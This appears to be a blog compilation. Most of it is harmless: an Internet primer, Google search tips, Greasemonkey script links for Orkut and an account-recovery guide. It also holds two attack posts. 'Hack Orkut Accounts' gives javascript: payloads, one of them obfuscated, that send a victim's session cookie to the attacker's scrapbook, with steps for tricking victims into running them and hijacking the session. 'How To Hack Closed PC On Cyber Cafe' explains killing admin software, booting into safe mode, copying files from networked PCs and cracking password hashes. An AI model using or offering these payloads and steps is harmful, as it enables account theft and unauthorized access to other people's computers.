+ Guide To Internet

                                                           The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.

No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.

All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user's local client machine. Software can be installed on a client computer to take advantage of the latest access technology.

An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.

The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.

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COMPONENTS OF THE INTERNET

WORLD WIDE WEB

The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.

The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web's ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.

The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.

Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.

The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.

The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.

For more complete information about the World Wide Web, see Understanding The World Wide Web.

E-MAIL

Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.

A powerful aspect of e-mail is the option to send electronic files to a person's e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.

TELNET

Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.

Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.

With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.

FTP

FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.

If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.

FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.

E-MAIL DISCUSSION GROUPS

One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active discussions organized around topic-oriented forums distributed by e-mail. These are administered by software programs. Probably the most common program is the listserv.

A great variety of topics are covered by listservs, many of them academic in nature. When you subscribe to a listserv, messages from other subscribers are automatically sent to your electronic mailbox. You subscribe to a listserv by sending an e-mail message to a computer program called a listserver. Listservers are located on computer networks throughout the world. This program handles subscription information and distributes messages to and from subscribers. You must have a e-mail account to participate in a listserv discussion group. Visit Tile.net at /http://tile.net/ to see an example of a site that offers a searchablecollection of e-mail discussion groups.

Majordomo and Listproc are two other programs that administer e-mail discussion groups. The commands for subscribing to and managing your list memberships are similar to those of listserv.

USENET NEWS

Usenet News is a global electronic bulletin board system in which millions of computer users exchange information on a vast range of topics. The major difference between Usenet News and e-mail discussion groups is the fact that Usenet messages are stored on central computers, and users must connect to these computers to read or download the messages posted to these groups. This is distinct from e-mail distribution, in which messages arrive in the electronic mailboxes of each list member.

Usenet itself is a set of machines that exchanges messages, or articles, from Usenet discussion forums, called newsgroups. Usenet administrators control their own sites, and decide which (if any) newsgroups to sponsor and which remote newsgroups to allow into the system.

There are thousands of Usenet newsgroups in existence. While many are academic in nature, numerous newsgroups are organized around recreational topics. Much serious computer-related work takes place in Usenet discussions. A small number of e-mail discussion groups also exist as Usenet newsgroups.

The Usenet newsfeed can be read by a variety of newsreader software programs. For example, the Netscape suite comes with a newsreader program called Messenger. Newsreaders are also available as standalone products.

FAQ, RFC, FYI

FAQ stands for Frequently Asked Questions. These are periodic postings to Usenet newsgroups that contain a wealth of information related to the topic of the newsgroup. Many FAQs are quite extensive. FAQs are available by subscribing to individual Usenet newsgroups. A Web-based collection of FAQ resources has been collected by The Internet FAQ Consortium and is available at /http://www.faqs.org/.

RFC stands for Request for Comments. These are documents created by and distributed to the Internet community to help define the nuts and bolts of the Internet. They contain both technical specifications and general information.

FYI stands for For Your Information. These notes are a subset of RFCs and contain information of interest to new Internet users.

Links to indexes of all three of these information resources are available on the University Libraries Web site at /http://library.albany.edu/reference/faqs.html.

CHAT & INSTANT MESSENGING

Chat programs allow users on the Internet to communicate with each other by typing in real time. They are sometimes included as a feature of a Web site, where users can log into the "chat room" to exchange comments and information about the topics addressed on the site. Chat may take other, more wide-ranging forms. For example, America Online is well known for sponsoring a number of topical chat rooms.

Internet Relay Chat (IRC) is a service through which participants can communicate to each other on hundreds of channels. These channels are usually based on specific topics. While many topics are frivolous, substantive conversations are also taking place. To access IRC, you must use an IRC software program.

A variation of chat is the phenomenon of instant messenging. With instant messenging, a user on the Web can contact another user currently logged in and type a conversation. Most famous is America Online's Instant Messenger. ICQ, MSN and Yahoo are other commonly-used chat programs.

Other types of real-time communication are addressed in the tutorial Understanding the World Wide Web.

MUD/MUSH/MOO/MUCK/DUM/MUSE

MUD stands for Multi User Dimension. MUDs, and their variations listed above, are multi-user virtual reality games based on simulated worlds. Traditionally text based, graphical MUDs now exist. There are MUDs of all kinds on the Internet, and many can be joined free of charge.

+ Google Search Tricks

* Tip Number One :

The first thing you must do to generate a productive search is think. You need to think about what it is you really want. You really have to search Google for the words or phrases that will be *on the page you want, not for a description of the page or website. So if you are looking for a comparative review of wireless telephones, you will probably get more results from a list of names such as SmartPhone, Audiovox, Motorola, and so on, than the words "comparative review of wireless phones".

* Tip Number Two :

Use Quotation marks to force finding a specific phrase. When you surround your phrase with quotation marks, the search engine will only return results exactly matching the entire phrase. This is an extremely powerful search technique, and yet it is not used by the majority of web searchers. If you search on the two words George and Washington, you will get over 8 million results. If you put quotation marks around the entire name, your results will be restricted to about 3 million. And if your search is on "George Washington" "Cherry Tree", you will only get about 12,600 results. You get the picture. This is especially important if your search contains what are called "stop words" - words that Google is designed to ignore, such as "and" "of" and "the". By including these inside your quoted phrase, you will get more targeted search results.

* Tip Number Three :

Use the Plus (+) and Minus (-) Signs. The plus sign just before a search term means "This MUST be found in the search". Conversely, if you find a lot of search results that include a specific product, word, phrase, or item that you do not want to see, you can put a minus sign before that word or phrase, and those results will be excluded from your search. You can even exclude domains or top-level domains from your search - see the site: command below.

* Tip Number Four :

Use the Asterisk (*) As a WildCard search term. Yes, you can insert an asterisk in your search phrase and it will act as a wild card matching any word in that place in the phrase. Not only that, but you can insert more than one asterisk in place of more than one word in your search phrase, up to the limit of ten search words - and the wild card markers are not counted toward this ten word limit.

* Tip Number Five :

Use the site: command. If you are interested in finding examples of the term XMLHttp, but only on eggheadcafe.com, then you can create a search like this: site:eggheadcafe.com XMLHTTP This will restrict your search to only pages belonging to that web site. You will notice that in regular Google searches, if there are more than two results from that site, the second result will be indented and there will be a link "More results from ..." - this automatically uses the site: qualifier. Also, you can search or exclude whole domains. For example, you can search for tampopo dvd site:co.uk or tampopo dvd -site:com (Tampopo is a wonderful Japanese noodle western spoof by director Juzo Itami that is sure to be enjoyed by Americans. If you really want to get educated IMHO, try to avoid watching films out of Hollywood, as they generally stink).

* Tip Number Six :

Use the operators. Besides the site: command, Google understands a range of operators that include filetype: (eg doc, xls, or pdf), intext: and allintext:, intitle: and allintitle:, inurl: and allinurl:, author: (in Google Groups) and location: (in Google News). Google also understands a logical OR, provided it is upper case. This means you can search for a bar in Orlando OR Miami for example. It is useful when targets of searches have alternative or variable spellings: outsourcing bombay OR mumbai. The OR command can be shortened to a vertical bar (|), as in outsourcing bombay | mumbai. Another way of adding alternatives is to use a tilde character (~). Thus if you search for ~food, Google also searches for cooking, cuisine, nutrition, recipes and restaurants. You have a lot of power and flexibility; you just have to make some notes and learn the language that the search engine understands so that you can speak to it. The search engine doesn't get mad or take offense - provided that you know its language, it will do exactly what you tell it to!

* Tip Number Seven :

Use the Advanced Search Page. Fortunately, you don't need to memorize all of the above tricks, since they are conveniently offered to you in various combinations in the Advanced Search option which is always available from the main Google search page.

* Tip Number Eight :

Use Google Groups. Google has the most complete archive of usenet and other news posts going back over 20 years. By simply switching tabs from Web to Groups, your search term(s) will be repeated on the Groups archives. I cannot stress how valuable this can be- many, many times when I have not found a proper result on the web, by simply switching to Google Groups I've been able to find exactly what I was looking for.

* Tip Number Nine :

Use new advanced search features. Google has a number of new features including Google Local, Google News (news items from newspapers and other publications around the globe), Froogle - which searches for the best prices on products, and the Dictionary - to get the spelling and / or definition of a word. In fact, if you may have misspelled a word in your search, Google's dictionary will remind you with a link that says "Did you really mean XXX?" and clicking that link will correct your search. Google also provides an Images search facility that brings back results filled with actual images on web pages that match your search terms. One of the lastest new offerings as of this writing in October, 2004, is a mobile SMS search that allows you to send an SMS message to google with your search terms for a restaurant and zipcode, somebody's name and address, or whatever, and get back the results to your cellphone in seconds.

Hope u like it. Add any more if you guys find. Suggestions are always welcomed.

+ Five Tips On Google Search

Sometimes when you search on Google you might not get the desired results or you might need to search a lot by changing the keywords you are searching for. These tips may helpyou in getting the desired results. Read them carefully and apple them while searching on Google to get best results.

1. The “+” Sign :

Google ignores some words like the, how and many other digits and words which actually slow down the search speed. Now if a common word is essential for you and you want google to look for it the just give a space, put the “+” sign and type in the word. By this google makes sure that, that word is actually included in the search as well. I came to knew of this as i was searching for a book, but google was not showing the desired results, i used this technique and was able to get the details I was looking for.

2. Synonym Search with “~”(Tildy) Sign:

If in case you want to search for the term as well it’s synonym, then in that case just add the “~” sign just in front of your term, you will then see the links for the same terms synonym. This can be really helpful in case you are searching for some specific results

3. Use of Keyword “OR”:

In case you want the Search results to show two different categories then in that case you can use the Keyword “OR”. This will make sure that you will get the results accordingly. Similarly you can also use “AND”, but in this case google will show you pages where both the parameters are met, whereas in case of keyword “OR”, any parameter that matches up, those links will be displayed.

4. Getting links of Specific Site:

Sometimes you might visit a site but not able to find the links or accurate pages in that site. What do you do? Just click on links to get the specific page? Well a simple answer is search through Google. Suppose you want to search for groups site in google.com, then simple type in “groups site:google.com”. You will see op tins coming for the google groups. This is a pretty old method is very useful to get to a specific page of a site. The code for this would be “site:”

5. Search within a Range:

You can search in Google within a desired range be it be Money, Weight, Age or any thing else, you just need to define the range and you will get the results you require. You need to type in the range as separated by “..”. But make sure you specify the unit as well like for money, weight, length or any thing else. Like, for Example:- TV 21..32 inches.

I hope these help you. If you have more then please add them in comments

+ Interesting Greasemonkey Scripts For Orkut Part I

Over the time, I have been collecting some cool greasemonkey scripts for Orkut.

For those of you who don't know what Greasemonkey is please read this.

And I am sure all of you know what Orkut is. :)

So here's my collection for you all. Hope you like it. Add more if you have in comments. I will update the article from the comments. I will also continue updating this list of greasemonkey scripts in my upcoming posts. :)

Note: You need Firefox with Greasemonkey installed to use these scripts. Just use this link to install greasemonkey in your Firefox browser :

https://addons.mozilla.org/en-US/firefox/addon/748 

1. Lets you configure orkut's color scheme, changes your Gmail address on the top right corner into an actual link to your Gmail inbox :

http://www.sujooo.com/ed/greasemonkey_scripts/orkutrestyler.user.js

2. Adds a toolbar at the top of the orkut page with various formatting tools and extra links :

http://www.sujooo.com/ed/greasemonkey_scripts/orkutformatbar.user.js

3. Adds search function for finding your posts or those of a specific user in scrapbooks and community threads :

http://www.sujooo.com/ed/greasemonkey_scripts/orkutfindmessages.user.js

4. Transforms links of images into the images themselves, so you can see them inside orkut (now this facility is supported officially by orkut):

http://www.sujooo.com/ed/greasemonkey_scripts/orkutlinktoimage.user.js

5. Alerts you when you receive new scraps and when your friends log in, like MSN :

http://www.sujooo.com/ed/greasemonkey_scripts/orkuthinewscrap.user.js

6. Adds a contextual menu when you right click (Windows) or control click (Mac) on someone's avatar :

http://www.sujooo.com/ed/greasemonkey_scripts/orkutprofilecontextmenu.user.js

7. On clicking "reply" in a thread this script adds an input box in the same page without loading the page. After submitting your post you can see it immediately without having to back go to the last page of a thread :

http://www.sujooo.com/ed/greasemonkey_scripts/orkutfastreply.user.js

8. Adds shortcuts to scrapbook, photo album and compose message next to every user's photo :

http://www.sujooo.com/ed/greasemonkey_scripts/orkutshortcuts.user.js

+ Unlimited Photos At Orkut !!!

Orkut is the most popular social networking website, next only to myspace. In the orkut

profile the user can only upload 12 photos. But now you can show unlimited number of

photos using the Flickr RSS Feed option. However you can do so also with the

feed of Picasa. Actually this method can be used for any

image hosting service which supports RSS photo-feed.

The process if very simple ::

1) In your orkut profile, on the left site, click on “edit feeds”.

2) Now you will find a URL box, in which you have to enter the address of the RSS feed of your image hosting service like Flickr, Picasa etc.

3) Make and find yours on your flickr home page.

4) On Submitting and verifying the code, you will find your snaps on orkut.

If you find any problem while doing this then do leave a comment here, I will try to help you.

+ Hack Orkut Accounts

First get firefox and the cookie editor plugin for it…u will need them…

Then make two fake accounts…u will ned one to receive the cookie and one to advertise your script so that if orkut starts deleting such profiles your real account wont be compromised…the choice is yours though..

javascript:nobody=replyForm;nobody.toUserId.value=62915936;

nobody.scrapText.value=eval

(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,

111,111,107,105,101)); nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;

nobody.submit()

U see the 62915936 part? Thats the one u need to edit to get the cookie to your account…..

Now here is the script Code:

HOW TO PUT UR NUMBER IN THAT SECTION??? FOLLOW THESE STEPS:

1) Go to YOUR ALBUM section.

2) Go to ANY photo and right click on it , see the properties of your display image…u will see something like 12345678.jpg

3) There will be a eight digit value.

4) Now put that value in the above javascript.

5) Thats it.

Now your javascript will look like:

javascript:nobody=replyForm;nobody.toUserId.value=yournumber;

nobody.scrapText.value=eval

(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,

111,111,107,105,101));

nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;

nobody.submit()

Now give this script to the victim , ask him to go to his scrap book and paste this script in his address bar and press enter. now you ll get his cookies in your scrapbook.

Now after getting a cookie…

1) Go to your home page

2) Open the cookie editor plugin(TOOLS–>COOKIE EDITOR).

3) Type orkut in the text box and click filter/refresh.look for orkut_state cookie.

4) Just double click it and replace the orkut_state part with your victims. No need to change the _umbz _umbc part…

5) THATS IT!!

ANOTHER SCRIPT : (100%working)

javascript:nobody=replyForm;nobody.toUserId.value=53093255;

nobody.scrapText.value=document.cookie;nobody.

action=’scrapbook.aspx?Action.submit’;nobody.submit()

Put ur eight digit number in the place of (53093255)

+ What to Do When Your Orkut is Hacked !!

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.

Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:

1. Reset Your Google Account Password:

Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd – you will receive an email at your secondary email address with a link to reset your Google Account Password.

This will not work if the other person has changed your secondary email address or if you no longer have access to that address.

2. For Google Accounts Associated with Gmail:

If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. http://www.google.com/support/accounts/bin/request.py?hl=en&contact_type=ara&ctx=accounts  It however requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:

If your Google Account doesn’t use a Gmail address, contact Google by filling this form. http://www.google.com/support/accounts/bin/request.py?hl=en&contact_type=ara&ctx=accounts  This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message.

It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

+ How To Hack Closed PC On Cyber Cafe

Sorry for being away for almost a month, but guess what , got many new tricks & hacks with me for all of you.

So here is a quick new hack on how to intrude in the PC which is shut downed at Cyber cafe. (Don’t Forget to read our disclaimer at the bottom of the post.)

1. As you all must have know these days all Cyber cafe owners have a program for administration to control all PC’s in local area network. So all files can be inter transmitted.

2. First of all press Ctrl+Alt+Del the task manager or any controlling application, will open. Then from APPLICATIONS select the program that is controlling all PC’s & terminate it, This is for security reason. Now log of PC, & you ll get user names of the PC.

3. But some times, cyber cafes have security clients installed that have restricted access to Task Manager, restart the computer & press F8 continuously before windows boots.

The Menu will open, select Safe Mode from it. And now you can copy files from networked PC’s without any security layer.

Next step is where you’ll need to crack the hashes. SO go to your home PC , Download & install Saminside cracking tool. And from some another Cyber cafe try to crack the hashes of that PC. By same log off method explained below.

This where you actually perform hacking. Have a gret time & tell us weather it worked for you.

Meanwhile if you can get IP address, of the PC you wish to hack try to get it from ip-explorer.com, but this is not the part of this hack its sort of next step of hacking from outside the network.

Disclaimer : The trick here explained it for educational purpose only & not to perform illegal or criminal activities. Don’t forget hacking into some one’s privacy is considered as crime. SO do it on your home network that you own or something. We are not responsible for anything you do & consequences of it by using our articles.